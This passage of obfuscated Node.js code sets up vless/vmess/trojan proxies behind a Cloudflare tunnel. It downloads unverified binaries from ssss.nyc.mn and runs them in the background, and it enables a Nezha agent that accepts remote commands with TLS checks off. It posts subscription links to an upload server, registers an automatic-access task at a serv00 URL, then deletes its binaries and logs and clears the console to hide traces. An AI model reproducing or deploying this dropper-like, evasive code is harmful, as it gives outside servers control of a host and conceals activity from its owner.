settings':{'clients':[{'password':UUID}]},'streamSettings':{'network':'ws','security':_0x11f6cd(_0x5f1baf._0x169943),'wsSettings':{'path':_0x11f6cd(0x22e)}},'sniffing':{'enabled':!![],'destOverride':[_0x11f6cd(0x193),_0x11f6cd(_0x5f1baf._0x418b42),_0x11f6cd(0x1ee)],'metadataOnly':![]}}],'dns':{'servers':[_0x11f6cd(_0x5f1baf._0x32f7be)]},'outbounds':[{'protocol':_0x11f6cd(_0x5f1baf._0x5987ef),'tag':_0x11f6cd(_0x5f1baf._0x10ff22)},{'protocol':_0x11f6cd(0x1a4),'tag':_0x11f6cd(_0x5f1baf._0x56d154)}]};fs[_0x11f6cd(_0x5f1baf._0x1ca1c1)](path[_0x11f6cd(0x20d)](FILE_PATH,'config.json'),JSON[_0x11f6cd(_0x5f1baf._0xedaaae)](_0x939f69,null,0x2));}function getSystemArchitecture(){const _0x410232={_0x18afc7:0x1b5,_0x1d0ca1:0x20c},_0x5cd7f4=_0x199907,_0xecf33a=os['arch']();return _0xecf33a==='arm'||_0xecf33a===_0x5cd7f4(_0x410232._0x18afc7)||_0xecf33a===_0x5cd7f4(0x20a)?_0x5cd7f4(0x19b):_0x5cd7f4(_0x410232._0x1d0ca1);}function downloadFile(_0x33c9e3,_0x563cbc,_0x239971){const _0x1ba435={_0x54dfa8:0x1ac},_0x361816={_0x42ac12:0x1c5},_0x3b68b7={_0x6a0b03:0x1b3,_0x384fea:0x21f},_0x466978={_0x302298:0x1c1},_0x3385e8=_0x199907,_0x531a48=_0x33c9e3;!fs[_0x3385e8(0x230)](FILE_PATH)&&fs[_0x3385e8(0x23b)](FILE_PATH,{'recursive':!![]});const _0x3becc3=fs[_0x3385e8(0x24b)](_0x531a48);axios({'method':_0x3385e8(_0x1ba435._0x54dfa8),'url':_0x563cbc,'responseType':'stream'})['then'](_0x53c03d=>{const _0x3f8620={_0x5933c2:0x1c1,_0x49b942:0x1e8,_0x532f4b:0x199},_0x2f1d03=_0x3385e8;_0x53c03d[_0x2f1d03(_0x3b68b7._0x6a0b03)][_0x2f1d03(_0x3b68b7._0x384fea)](_0x3becc3),_0x3becc3['on'](_0x2f1d03(0x1d3),()=>{const _0xe4ad7=_0x2f1d03;_0x3becc3['close'](),console[_0xe4ad7(0x1bb)](_0xe4ad7(0x1d0)+path[_0xe4ad7(_0x466978._0x302298)](_0x531a48)+_0xe4ad7(0x1fc)),_0x239971(null,_0x531a48);}),_0x3becc3['on']('error',_0x88f620=>{const _0x4a031c=_0x2f1d03;fs[_0x4a031c(0x237)](_0x531a48,()=>{});const _0x4ca99e='Download\x20'+path[_0x4a031c(_0x3f8620._0x5933c2)](_0x531a48)+_0x4a031c(_0x3f8620._0x49b942)+_0x88f620[_0x4a031c(_0x3f8620._0x532f4b)];console[_0x4a031c(0x1c5)](_0x4ca99e),_0x239971(_0x4ca99e);});})[_0x3385e8(0x1d6)](_0x1a8c7a=>{const _0x29343e=_0x3385e8,_0x2ea05e=_0x29343e(0x1d0)+path['basename'](_0x531a48)+'\x20failed:\x20'+_0x1a8c7a[_0x29343e(0x199)];console[_0x29343e(_0x361816._0x42ac12)](_0x2ea05e),_0x239971(_0x2ea05e);});}async function downloadFilesAndRun(){const _0x4c6f99={_0xedc22a:0x1bb,_0x568b8c:0x1fd,_0x40deaf:0x242,_0xf21e4:0x1bc,_0x196a12:0x24c,_0x5448c3:0x22b,_0x27cf74:0x198,_0x513686:0x18f,_0x3df33d:0x1b7,_0x252cd1:0x247,_0x1de0d1:0x1cb,_0x1e468a:0x251,_0x47b560:0x1ab,_0x5da7dd:0x217,_0x119597:0x1c5,_0x4a81d5:0x200,_0x4a1297:0x1c6,_0x3265f0:0x198,_0x129c0e:0x1bc,_0x9a4751:0x210,_0x5de193:0x1c5,_0x2f9022:0x1bb,_0x3a3807:0x1a7,_0x396883:0x1c7,_0x3c6e86:0x223,_0x46ed48:0x230,_0x1f7f4f:0x1db,_0x47783e:0x1bb,_0x3bb8c9:0x1c5,_0x40b288:0x1d7},_0x5f5694={_0x5c8bbc:0x1ff},_0x2e0cf2={_0x4744c8:0x215},_0x3504f9=_0x199907,_0x50e82e=getSystemArchitecture(),_0x3ae888=getFilesForArchitecture(_0x50e82e);if(_0x3ae888[_0x3504f9(0x1b0)]===0x0){console[_0x3504f9(_0x4c6f99._0xedc22a)](_0x3504f9(_0x4c6f99._0x568b8c));return;}const _0x4264e8=_0x3ae888['map'](_0x5a884f=>{return new Promise((_0x39b487,_0x2a9c09)=>{const _0x27845b=_0x3f84;downloadFile(_0x5a884f[_0x27845b(_0x2e0cf2._0x4744c8)],_0x5a884f[_0x27845b(0x24d)],(_0x38853b,_0x4f3f66)=>{_0x38853b?_0x2a9c09(_0x38853b):_0x39b487(_0x4f3f66);});});});try{await Promise[_0x3504f9(0x245)](_0x4264e8);}catch(_0x18cbc5){console[_0x3504f9(0x1c5)](_0x3504f9(_0x4c6f99._0x40deaf),_0x18cbc5);return;}function _0x562bc9(_0x13fd43){const _0x5c5282={_0x1c9932:0x232},_0x467087={_0x30727a:0x1c5,_0x5edd89:0x250,_0x44ef18:0x1bb,_0x443616:0x1f5},_0x2e82d5=_0x3504f9,_0x49c9b8=0x1fd;_0x13fd43[_0x2e82d5(_0x5f5694._0x5c8bbc)](_0x568872=>{const _0x341ae6=_0x2e82d5;fs[_0x341ae6(0x230)](_0x568872)&&fs[_0x341ae6(_0x5c5282._0x1c9932)](_0x568872,_0x49c9b8,_0x2df424=>{const _0x3a0d4c=_0x341ae6;_0x2df424?console[_0x3a0d4c(_0x467087._0x30727a)](_0x3a0d4c(_0x467087._0x5edd89)+_0x568872+':\x20'+_0x2df424):console[_0x3a0d4c(_0x467087._0x44ef18)](_0x3a0d4c(0x19c)+_0x568872+':\x20'+_0x49c9b8[_0x3a0d4c(_0x467087._0x443616)](0x8));});});}const _0x208853=NEZHA_PORT?[npmPath,webPath,botPath]:[phpPath,webPath,botPath];_0x562bc9(_0x208853);if(NEZHA_SERVER&&NEZHA_KEY){if(!NEZHA_PORT){const _0x223aed=NEZHA_SERVER[_0x3504f9(_0x4c6f99._0xf21e4)](':')?NEZHA_SERVER[_0x3504f9(_0x4c6f99._0x196a12)](':')[_0x3504f9(_0x4c6f99._0x5448c3)]():'',_0x288665=new Set([_0x3504f9(0x1b8),'8443','2096',_0x3504f9(_0x4c6f99._0x27cf74),_0x3504f9(_0x4c6f99._0x513686),_0x3504f9(0x221)]),_0x5b8563=_0x288665[_0x3504f9(_0x4c6f99._0x3df33d)](_0x223aed)?_0x3504f9(0x212):_0x3504f9(_0x4c6f99._0x252cd1),_0x405d8f=_0x3504f9(_0x4c6f99._0x1de0d1)+NEZHA_KEY+'\x0adebug:\x20false\x0adisable_auto_update:\x20true\x0adisable_command_execute:\x20false\x0adisable_force_update:\x20true\x0adisable_nat:\x20false\x0adisable_send_query:\x20false\x0agpu:\x20false\x0ainsecure_tls:\x20true\x0aip_report_period:\x201800\x0areport_delay:\x204\x0aserver:\x20'+NEZHA_SERVER+_0x3504f9(0x228)+_0x5b8563+_0x3504f9(_0x4c6f99._0x1e468a)+UUID;fs[_0x3504f9(_0x4c6f99._0x47b560)](path[_0x3504f9(0x20d)](FILE_PATH,'config.yaml'),_0x405d8f);const _0xe9241f='nohup\x20'+phpPath+_0x3504f9(0x1b9)+FILE_PATH+_0x3504f9(_0x4c6f99._0x5da7dd);try{await exec(_0xe9241f),console['log'](phpName+'\x20is\x20running'),await new Promise(_0x51097c=>setTimeout(_0x51097c,0x3e8));}catch(_0x32c2d6){console[_0x3504f9(_0x4c6f99._0x119597)]('php\x20running\x20error:\x20'+_0x32c2d6);}}else{let _0x5020ff='';const _0x348bab=[_0x3504f9(0x1b8),_0x3504f9(_0x4c6f99._0x4a81d5),_0x3504f9(_0x4c6f99._0x4a1297),_0x3504f9(_0x4c6f99._0x3265f0),_0x3504f9(_0x4c6f99._0x513686),_0x3504f9(0x221)];_0x348bab[_0x3504f9(_0x4c6f99._0x129c0e)](NEZHA_PORT)&&(_0x5020ff=_0x3504f9(_0x4c6f99._0x9a4751));const _0x5ea228=_0x3504f9(0x1c7)+npmPath+_0x3504f9(0x194)+NEZHA_SERVER+':'+NEZHA_PORT+'\x20-p\x20'+NEZHA_KEY+'\x20'+_0x5020ff+'\x20--disable-auto-update\x20--report-delay\x204\x20--skip-conn\x20--skip-procs\x20>/dev/null\x202>&1\x20&';try{await exec(_0x5ea228),console['log'](npmName+_0x3504f9(0x240)),await new Promise(_0x45eea1=>setTimeout(_0x45eea1,0x3e8));}catch(_0x5dd1c9){console[_0x3504f9(_0x4c6f99._0x5de193)](_0x3504f9(0x22f)+_0x5dd1c9);}}}else console[_0x3504f9(_0x4c6f99._0x2f9022)](_0x3504f9(_0x4c6f99._0x3a3807));const _0x17895a=_0x3504f9(_0x4c6f99._0x396883)+webPath+_0x3504f9(_0x4c6f99._0x3c6e86)+FILE_PATH+_0x3504f9(0x191);try{await exec(_0x17895a),console[_0x3504f9(0x1bb)](webName+'\x20is\x20running'),await new Promise(_0x4b0bff=>setTimeout(_0x4b0bff,0x3e8));}catch(_0x400e98){console['error'](_0x3504f9(0x218)+_0x400e98);}if(fs[_0x3504f9(_0x4c6f99._0x46ed48)](botPath)){let _0x50b1e6;if(ARGO_AUTH['match'](/^[A-Z0-9a-z=]{120,250}$/))_0x50b1e6='tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20run\x20--token\x20'+ARGO_AUTH;else ARGO_AUTH['match'](/TunnelSecret/)?_0x50b1e6=_0x3504f9(0x1eb)+FILE_PATH+_0x3504f9(0x236):_0x50b1e6=_0x3504f9(0x19d)+FILE_PATH+'/boot.log\x20--loglevel\x20info\x20--url\x20http://localhost:'+ARGO_PORT;try{await exec(_0x3504f9(0x1c7)+botPath+'\x20'+_0x50b1e6+_0x3504f9(_0x4c6f99._0x1f7f4f)),console[_0x3504f9(_0x4c6f99._0x47783e)](botName+'\x20is\x20running'),await new Promise(_0x16b282=>setTimeout(_0x16b282,0x7d0));}catch(_0xf16a9d){console[_0x3504f9(_0x4c6f99._0x3bb8c9)](_0x3504f9(_0x4c6f99._0x40b288)+_0xf16a9d);}}await new Promise(_0x5cb959=>setTimeout(_0x5cb959,0x1388));}function getFilesForArchitecture(_0x6ab405){const _0x1d271d={_0x37d150:0x19b,_0x5e2ce4:0x1fb,_0x4acc97:0x248,_0x3cd004:0x20f,_0x5effc8:0x234,_0x50c4f4:0x19b,_0x271963:0x1fa,_0x580ca4:0x1ef},_0x11dd46=_0x199907;let _0x21532b;_0x6ab405===_0x11dd46(_0x1d271d._0x37d150)?_0x21532b=[{'fileName':webPath,'fileUrl':'https://arm64.ssss.nyc.mn/web'},{'fileName':botPath,'fileUrl':_0x11dd46(0x1ba)}]:_0x21532b=[{'fileName':webPath,'fileUrl':_0x11dd46(0x1e4)},{'fileName':botPath,'fileUrl':_0x11dd46(_0x1d271d._0x5e2ce4)}];if(NEZHA_SERVER&&NEZHA_KEY){if(NEZHA_PORT){const _0x20f141=_0x6ab405===_0x11dd46(_0x1d271d._0x37d150)?_0x11dd46(_0x1d271d._0x4acc97):_0x11dd46(_0x1d271d._0x3cd004);_0x21532b[_0x11dd46(_0x1d271d._0x5effc8)]({'fileName':npmPath,'fileUrl':_0x20f141});}else{const _0x4475b9=_0x6ab405===_0x11dd46(_0x1d271d._0x50c4f4)?_0x11dd46(_0x1d271d._0x271963):_0x11dd46(_0x1d271d._0x580ca4);_0x21532b[_0x11dd46(0x234)]({'fileName':phpPath,'fileUrl':_0x4475b9});}}return _0x21532b;}function argoType(){const _0x50e898={_0x2d854c:0x1bb,_0x46e500:0x1d8,_0x1f1469:0x20d,_0x4216dd:0x24c,_0x67e08f:0x20d,_0x5cb070:0x1cc,_0x498a9a:0x1ab,_0x4255a8:0x20d,_0x473bcd:0x1a3},_0x531ab6=_0x199907;if(!ARGO_AUTH||!ARGO_DOMAIN){console[_0x531ab6(_0x50e898._0x2d854c)](_0x531ab6(0x1c4));return;}if(ARGO_AUTH[_0x531ab6(0x1bc)](_0x531ab6(_0x50e898._0x46e500))){fs['writeFileSync'](path[_0x531ab6(_0x50e898._0x1f1469)](FILE_PATH,'tunnel.json'),ARGO_AUTH);const _0x35f58d='\x0a\x20\x20tunnel:\x20'+ARGO_AUTH[_0x531ab6(_0x50e898._0x4216dd)]('\x22')[0xb]+_0x531ab6(0x24f)+path[_0x531ab6(_0x50e898._0x67e08f)](FILE_PATH,_0x531ab6(0x1c0))+_0x531ab6(0x1e1)+ARGO_DOMAIN+'\x0a\x20\x20\x20\x20\x20\x20service:\x20http://localhost:'+ARGO_PORT+_0x531ab6(_0x50e898._0x5cb070);fs[_0x531ab6(_0x50e898._0x498a9a)](path[_0x531ab6(_0x50e898._0x4255a8)](FILE_PATH,'tunnel.yml'),_0x35f58d);}else console['log'](_0x531ab6(_0x50e898._0x473bcd));}async function extractDomains(){const _0x4ba51c={_0x34c064:0x206,_0x4846a2:0x1e6,_0x3a755e:0x20d,_0x4ea943:0x1e7,_0xcc8f51:0x24c,_0xc467a2:0x1ff,_0x3e1936:0x1b0,_0x468185:0x1bb,_0xf28b6d:0x1c8,_0x3fdbf7:0x1a5,_0x168abd:0x1c5,_0x2d6fa3:0x249},_0x3a2ec8={_0x11a836:0x1ac,_0x5da210:0x1b3,_0x3a4498:0x22a,_0x3d5df0:0x1b3,_0x14caae:0x1b3},_0x3058ee={_0x3a5610:0x1fe,_0x473e7a:0x238,_0x369f1c:0x1cd},_0x7f9528=_0x199907;let _0x53cae3;if(ARGO_AUTH&&ARGO_DOMAIN)_0x53cae3=ARGO_DOMAIN,console[_0x7f9528(0x1bb)](_0x7f9528(_0x4ba51c._0x34c064),_0x53cae3),await _0x25c6d5(_0x53cae3);else try{const _0x1b0786=fs[_0x7f9528(_0x4ba51c._0x4846a2)](path[_0x7f9528(_0x4ba51c._0x3a755e)](FILE_PATH,_0x7f9528(0x1f8)),_0x7f9528(_0x4ba51c._0x4ea943)),_0x300381=_0x1b0786[_0x7f9528(_0x4ba51c._0xcc8f51)]('\x0a'),_0x3a94bc=[];_0x300381[_0x7f9528(_0x4ba51c._0xc467a2)](_0x2cced9=>{const _0x2762e7=_0x7f9528,_0x3661b9=_0x2cced9[_0x2762e7(0x244)](/https?:\/\/([^ ]*trycloudflare\.com)\/?/);if(_0x3661b9){const _0x36ec32=_0x3661b9[0x1];_0x3a94bc[_0x2762e7(0x1d5)](_0x36ec32);}});if(_0x3a94bc[_0x7f9528(_0x4ba51c._0x3e1936)]>0x0)_0x53cae3=_0x3a94bc[0x0],console['log'](_0x7f9528(0x192),_0x53cae3),await _0x25c6d5(_0x53cae3);else{console[_0x7f9528(_0x4ba51c._0x468185)](_0x7f9528(_0x4ba51c._0xf28b6d)),fs[_0x7f9528(_0x4ba51c._0x3fdbf7)](path[_0x7f9528(0x20d)](FILE_PATH,_0x7f9528(0x1f8)));async function _0x557562(){const _0x4e9f5d=_0x7f9528;try{process[_0x4e9f5d(_0x3058ee._0x3a5610)]==='win32'?await exec(_0x4e9f5d(_0x3058ee._0x473e7a)+botName+_0x4e9f5d(0x201)):await exec('pkill\x20-f\x20\x22['+botName['charAt'](0x0)+']'+botName[_0x4e9f5d(0x239)](0x1)+_0x4e9f5d(_0x3058ee._0x369f1c));}catch(_0x202e35){}}_0x557562(),await new Promise(_0x5b0535=>setTimeout(_0x5b0535,0xbb8));const _0x3872fe=_0x7f9528(0x19d)+FILE_PATH+_0x7f9528(0x23c)+ARGO_PORT;try{await exec('nohup\x20'+botPath+'\x20'+_0x3872fe+'\x20>/dev/null\x202>&1\x20&'),console[_0x7f9528(0x1bb)](botName+'\x20is\x20running'),await new Promise(_0x21270a=>setTimeout(_0x21270a,0xbb8)),await extractDomains();}catch(_0x3a9c67){console[_0x7f9528(0x1c5)](_0x7f9528(0x1d7)+_0x3a9c67);}}}catch(_0x57a125){console[_0x7f9528(_0x4ba51c._0x168abd)](_0x7f9528(_0x4ba51c._0x2d6fa3),_0x57a125);}async function _0x11480f(){const _0x39015f=_0x7f9528;try{const _0x3fe1ff=await axios[_0x39015f(_0x3a2ec8._0x11a836)](_0x39015f(0x226),{'timeout':0xbb8});if(_0x3fe1ff[_0x39015f(_0x3a2ec8._0x5da210)]&&_0x3fe1ff[_0x39015f(0x1b3)][_0x39015f(0x196)]&&_0x3fe1ff[_0x39015f(0x1b3)][_0x39015f(_0x3a2ec8._0x3a4498)])return _0x3fe1ff[_0x39015f(0x1b3)]['country_code']+'_'+_0x3fe1ff[_0x39015f(_0x3a2ec8._0x5da210)][_0x39015f(0x22a)];}catch(_0x4eb805){try{const _0x2f86f8=await axios[_0x39015f(0x1ac)](_0x39015f(0x1e0),{'timeout':0xbb8});if(_0x2f86f8[_0x39015f(0x1b3)]&&_0x2f86f8[_0x39015f(0x1b3)]['status']===_0x39015f(0x219)&&_0x2f86f8[_0x39015f(_0x3a2ec8._0x3d5df0)][_0x39015f(0x1ae)]&&_0x2f86f8[_0x39015f(_0x3a2ec8._0x14caae)][_0x39015f(0x22a)])return _0x2f86f8[_0x39015f(_0x3a2ec8._0x14caae)][_0x39015f(0x1ae)]+'_'+_0x2f86f8[_0x39015f(0x1b3)][_0x39015f(0x22a)];}catch(_0x3b1d55){}}return _0x39015f(0x23f);}async function _0x25c6d5(_0x47aea9){const _0x43d647=await _0x11480f(),_0x324e39=NAME?NAME+'-'+_0x43d647:_0x43d647;return new Promise(_0x14d99e=>{const _0x502deb={_0xe6e863:0x197,_0x16edd1:0x190,_0x3b7d36:0x252,_0x2c87c6:0x213,_0x3bca42:0x1f0,_0x5e0abf:0x23a,_0x21ebb8:0x1ac};setTimeout(()=>{const _0x474f0e={_0x396168:0x254},_0x1bb10b=_0x3f84,_0x54583c={'v':'2','ps':''+_0x324e39,'add':CFIP,'port':CFPORT,'id':UUID,'aid':'0','scy':'none','net':'ws','type':_0x1bb10b(_0x502deb._0xe6e863),'host':_0x47aea9,'path':'/vmess-argo?ed=2560','tls':_0x1bb10b(0x19a),'sni':_0x47aea9,'alpn':'','fp':_0x1bb10b(0x235)},_0x394c78=_0x1bb10b(0x1d4)+UUID+'@'+CFIP+':'+CFPORT+_0x1bb10b(_0x502deb._0x16edd1)+_0x47aea9+_0x1bb10b(0x24a)+_0x47aea9+_0x1bb10b(_0x502deb._0x3b7d36)+_0x324e39+_0x1bb10b(0x1ad)+Buffer[_0x1bb10b(0x1f0)](JSON[_0x1bb10b(0x1a2)](_0x54583c))[_0x1bb10b(0x1f5)](_0x1bb10b(_0x502deb._0x2c87c6))+_0x1bb10b(0x209)+UUID+'@'+CFIP+':'+CFPORT+_0x1bb10b(0x1e3)+_0x47aea9+_0x1bb10b(0x24a)+_0x47aea9+'&path=%2Ftrojan-argo%3Fed%3D2560#'+_0x324e39+'\x0a\x20\x20\x20\x20';console[_0x1bb10b(0x1bb)](Buffer[_0x1bb10b(0x1f0)](_0x394c78)[_0x1bb10b(0x1f5)](_0x1bb10b(0x213))),fs[_0x1bb10b(0x1ab)](subPath,Buffer[_0x1bb10b(_0x502deb._0x3bca42)](_0x394c78)[_0x1bb10b(0x1f5)]('base64')),console['log'](FILE_PATH+_0x1bb10b(_0x502deb._0x5e0abf)),uploadNodes(),app[_0x1bb10b(_0x502deb._0x21ebb8)]('/'+SUB_PATH,(_0x5cb7ce,_0x5f0d0b)=>{const _0x10bcdf=_0x1bb10b,_0x1a4f28=Buffer['from'](_0x394c78)['toString']('base64');_0x5f0d0b[_0x10bcdf(0x1a1)](_0x10bcdf(_0x474f0e._0x396168),'text/plain;\x20charset=utf-8'),_0x5f0d0b[_0x10bcdf(0x1be)](_0x1a4f28);}),_0x14d99e(_0x394c78);},0x7d0);});}}async function uploadNodes(){const _0x4fd658={_0x1e01d6:0x1bb,_0x4c9cec:0x21b,_0x112b18:0x19f,_0x2c7a17:0x19f,_0x3ce874:0x1e6,_0x23609b:0x205,_0x1b51d5:0x1bd,_0x3d6ee2:0x1af},_0x16f6d2=_0x199907;if(UPLOAD_URL&&PROJECT_URL){const _0x6dc9e1=PROJECT_URL+'/'+SUB_PATH,_0x2752ad={'subscription':[_0x6dc9e1]};try{const _0x5b8b01=await axios['post'](UPLOAD_URL+'/api/add-subscriptions',_0x2752ad,{'headers':{'Content-Type':'application/json'}});return _0x5b8b01&&_0x5b8b01[_0x16f6d2(0x1bd)]===0xc8?(console[_0x16f6d2(_0x4fd658._0x1e01d6)](_0x16f6d2(_0x4fd658._0x4c9cec)),_0x5b8b01):null;}catch(_0x46c784){if(_0x46c784[_0x16f6d2(_0x4fd658._0x112b18)]){if(_0x46c784[_0x16f6d2(_0x4fd658._0x2c7a17)]['status']===0x190){}}}}else{if(UPLOAD_URL){if(!fs['existsSync'](listPath))return;const _0x3ded22=fs[_0x16f6d2(_0x4fd658._0x3ce874)](listPath,_0x16f6d2(0x1e7)),_0x5dbe30=_0x3ded22[_0x16f6d2(0x24c)]('\x0a')['filter'](_0x225c2f=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x16f6d2(0x1b1)](_0x225c2f));if(_0x5dbe30[_0x16f6d2(0x1b0)]===0x0)return;const _0x2006a1=JSON['stringify']({'nodes':_0x5dbe30});try{const _0x3668ab=await axios[_0x16f6d2(0x1ce)](UPLOAD_URL+_0x16f6d2(0x1f9),_0x2006a1,{'headers':{'Content-Type':_0x16f6d2(_0x4fd658._0x23609b)}});return _0x3668ab&&_0x3668ab[_0x16f6d2(_0x4fd658._0x1b51d5)]===0xc8?(console[_0x16f6d2(_0x4fd658._0x1e01d6)](_0x16f6d2(_0x4fd658._0x3d6ee2)),_0x3668ab):null;}catch(_0x3ce061){return null;}}else return;}}function cleanFiles(){const _0x1a2c3f={_0x40d711:0x1c2,_0x1347a2:0x20d,_0x2e601a:0x216};setTimeout(()=>{const _0x41cf5a={_0x14c202:0x1bb,_0x3a30a7:0x203},_0x10227e={_0x89ffd5:0x195,_0x1e60b8:0x1bb,_0x2b746d:0x203},_0x4303ab=_0x3f84,_0x1594ac=[bootLogPath,configPath,webPath,botPath];if(NEZHA_PORT)_0x1594ac['push'](npmPath);else NEZHA_SERVER&&NEZHA_KEY&&_0x1594ac['push'](phpPath);process[_0x4303ab(0x1fe)]===_0x4303ab(_0x1a2c3f._0x40d711)?exec(_0x4303ab(0x224)+_0x1594ac[_0x4303ab(0x20d)]('\x20')+_0x4303ab(0x1ca),_0x549cde=>{const _0x103436=_0x4303ab;console[_0x103436(_0x10227e._0x89ffd5)](),console['log'](_0x103436(0x1dd)),console[_0x103436(_0x10227e._0x1e60b8)](_0x103436(_0x10227e._0x2b746d));}):exec(_0x4303ab(0x1f2)+_0x1594ac[_0x4303ab(_0x1a2c3f._0x1347a2)]('\x20')+_0x4303ab(_0x1a2c3f._0x2e601a),_0x12b371=>{const _0x16b2f7=_0x4303ab;console['clear'](),console[_0x16b2f7(_0x41cf5a._0x14c202)]('App\x20is\x20running'),console['log'](_0x16b2f7(_0x41cf5a._0x3a30a7));});},0x15f90);}cleanFiles();async function AddVisitTask(){const _0x3fc853={_0x39c33e:0x1ce,_0x1e59fa:0x1e5,_0x54775c:0x1bb,_0xc8710b:0x22d},_0x76fa0e=_0x199907;if(!AUTO_ACCESS||!PROJECT_URL){console['log']('Skipping\x20adding\x20automatic\x20access\x20task');return;}try{const _0x26647e=await axios[_0x76fa0e(_0x3fc853._0x39c33e)](_0x76fa0e(_0x3fc853._0x1e59fa),{'url':PROJECT_URL},{'headers':{'Content-Type':_0x76fa0e(0x205)}});return console[_0x76fa0e(_0x3fc853._0x54775c)](_0x76fa0e(_0x3fc853._0xc8710b)),_0x26647e;}catch(_0x4e81bb){return console['error'](_0x76fa0e(0x233)+_0x4e81bb['message']),null;}}function _0x294d(){const _0x6f4232=['\x0a\x20\x20\x20\x20\x20\x20originRequest:\x0a\x20\x20\x20\x20\x20\x20\x20\x20noTLSVerify:\x20true\x0a\x20\x20\x20\x20-\x20service:\x20http_status:404\x0a\x20\x20','\x22\x20>\x20/dev/null\x202>&1','post','readdirSync','Download\x20','xtls-rprx-vision','FILE_PATH','finish','\x0avless://','push','catch','Error\x20executing\x20command:\x20','TunnelSecret','/api/delete-nodes','476vLtKjr','\x20>/dev/null\x202>&1\x20&','charAt','App\x20is\x20running','freedom','4594TADaTn','http://ip-api.com/json/','\x0a\x20\x20protocol:\x20http2\x0a\x20\x20\x0a\x20\x20ingress:\x0a\x20\x20\x20\x20-\x20hostname:\x20','ARGO_AUTH','?security=tls&sni=','https://amd64.ssss.nyc.mn/web','https://oooo.serv00.net/add-url','readFileSync','utf-8','\x20failed:\x20','vless','abcdefghijklmnopqrstuvwxyz','tunnel\x20--edge-ip-version\x20auto\x20--config\x20','filter','23912uJnszV','quic','https://amd64.ssss.nyc.mn/v1','from','Error\x20in\x20startserver:','rm\x20-rf\x20','express','direct','toString','./tmp','179nYqlDv','boot.log','/api/add-nodes','https://arm64.ssss.nyc.mn/v1','https://amd64.ssss.nyc.mn/bot','\x20successfully','Can\x27t\x20find\x20a\x20file\x20for\x20the\x20current\x20architecture','platform','forEach','8443','.exe\x20>\x20nul\x202>&1','eb31ad49-7271-4baa-8b6b-e890728d56e8','Thank\x20you\x20for\x20using\x20this\x20script,\x20enjoy!','121zrChBq','application/json','ARGO_DOMAIN:','config.json','UUID','\x0a\x0atrojan://','aarch64','NEZHA_PORT','amd','join','CFPORT','https://amd64.ssss.nyc.mn/agent','--tls','random','true','base64','ARGO_PORT','fileName','\x20>/dev/null\x202>&1','/config.yaml\x22\x20>/dev/null\x202>&1\x20&','web\x20running\x20error:\x20','success','\x20is\x20created','Subscription\x20uploaded\x20successfully','axios','https+local://8.8.8.8/dns-query','48JSpmHw','pipe','util','2053','vmess','\x20-c\x20','del\x20/f\x20/q\x20','cdns.doon.eu.org','https://ipapi.co/json/','ARGO_DOMAIN','\x0askip_connection_count:\x20true\x0askip_procs_count:\x20true\x0atemperature:\x20false\x0atls:\x20','floor','org','pop','AUTO_ACCESS','automatic\x20access\x20task\x20added\x20successfully','/trojan-argo','npm\x20running\x20error:\x20','existsSync','110530EvCaxT','chmod','Add\x20automatic\x20access\x20task\x20faild:\x20','unshift','firefox','/tunnel.yml\x20run','unlink','taskkill\x20/f\x20/im\x20','substring','/sub.txt\x20saved\x20successfully','mkdirSync','/boot.log\x20--loglevel\x20info\x20--url\x20http://localhost:','sub.txt','http\x20server\x20is\x20running\x20on\x20port:','Unknown','\x20is\x20running','block','Error\x20downloading\x20files:','/dev/null','match','all','2293767TetMcg','false','https://arm64.ssss.nyc.mn/agent','Error\x20reading\x20boot.log:','&fp=firefox&type=ws&host=','createWriteStream','split','fileUrl','trojan','\x0a\x20\x20credentials-file:\x20','Empowerment\x20failed\x20for\x20','\x0ause_gitee_to_upgrade:\x20false\x0ause_ipv6_country_code:\x20false\x0auuid:\x20','&path=%2Fvless-argo%3Fed%3D2560#','156748CHNnnJ','Content-Type','2083','?encryption=none&security=tls&sni=','/config.json\x20>/dev/null\x202>&1\x20&','ArgoDomain:','http','\x20-s\x20','clear','country_code','none','2087','message','tls','arm','Empowerment\x20success\x20for\x20','tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20--logfile\x20','128748MtHKGZ','response','\x20already\x20exists','set','stringify','ARGO_AUTH\x20mismatch\x20TunnelSecret,use\x20token\x20connect\x20to\x20tunnel','blackhole','unlinkSync','/vless-argo','NEZHA\x20variable\x20is\x20empty,skip\x20running','env','/vmess-argo','listen','writeFileSync','get','\x0a\x0avmess://','countryCode','Nodes\x20uploaded\x20successfully','length','test','3271930bKRzhF','data','127.0.0.1','arm64','path','has','443','\x20-c\x20\x22','https://arm64.ssss.nyc.mn/bot','log','includes','status','send','NEZHA_KEY','tunnel.json','basename','win32','child_process','ARGO_DOMAIN\x20or\x20ARGO_AUTH\x20variable\x20is\x20empty,\x20use\x20quick\x20tunnels','error','2096','nohup\x20','ArgoDomain\x20not\x20found,\x20re-running\x20bot\x20to\x20obtain\x20ArgoDomain','3eJmCLH','\x20>\x20nul\x202>&1','\x0aclient_secret:\x20'];_0x294d=function(){return _0x6f4232;};return _0x294d();}async function startserver(){const _0x1ef271={_0x4bb06d:0x1c5,_0x42a57a:0x1f1},_0x43c4e4=_0x199907;try{argoType(),deleteNodes(),cleanupOldFiles(),await generateConfig(),await downloadFilesAndRun(),await extractDomains(),await AddVisitTask();}catch(_0x4a9d01){console[_0x43c4e4(_0x1ef271._0x4bb06d)](_0x43c4e4(_0x1ef271._0x42a57a),_0x4a9d01);}}startserver()['catch'](_0x3121c8=>{const _0xb132cd={_0x27ede7:0x1c5},_0x5eceb9=_0x199907;console[_0x5eceb9(_0xb132cd._0x27ede7)]('Unhandled\x20error\x20in\x20startserver:',_0x3121c8);}),app[_0x199907(0x1aa)](PORT,()=>console[_0x199907(0x1bb)](_0x199907(0x23e)+PORT+'!'));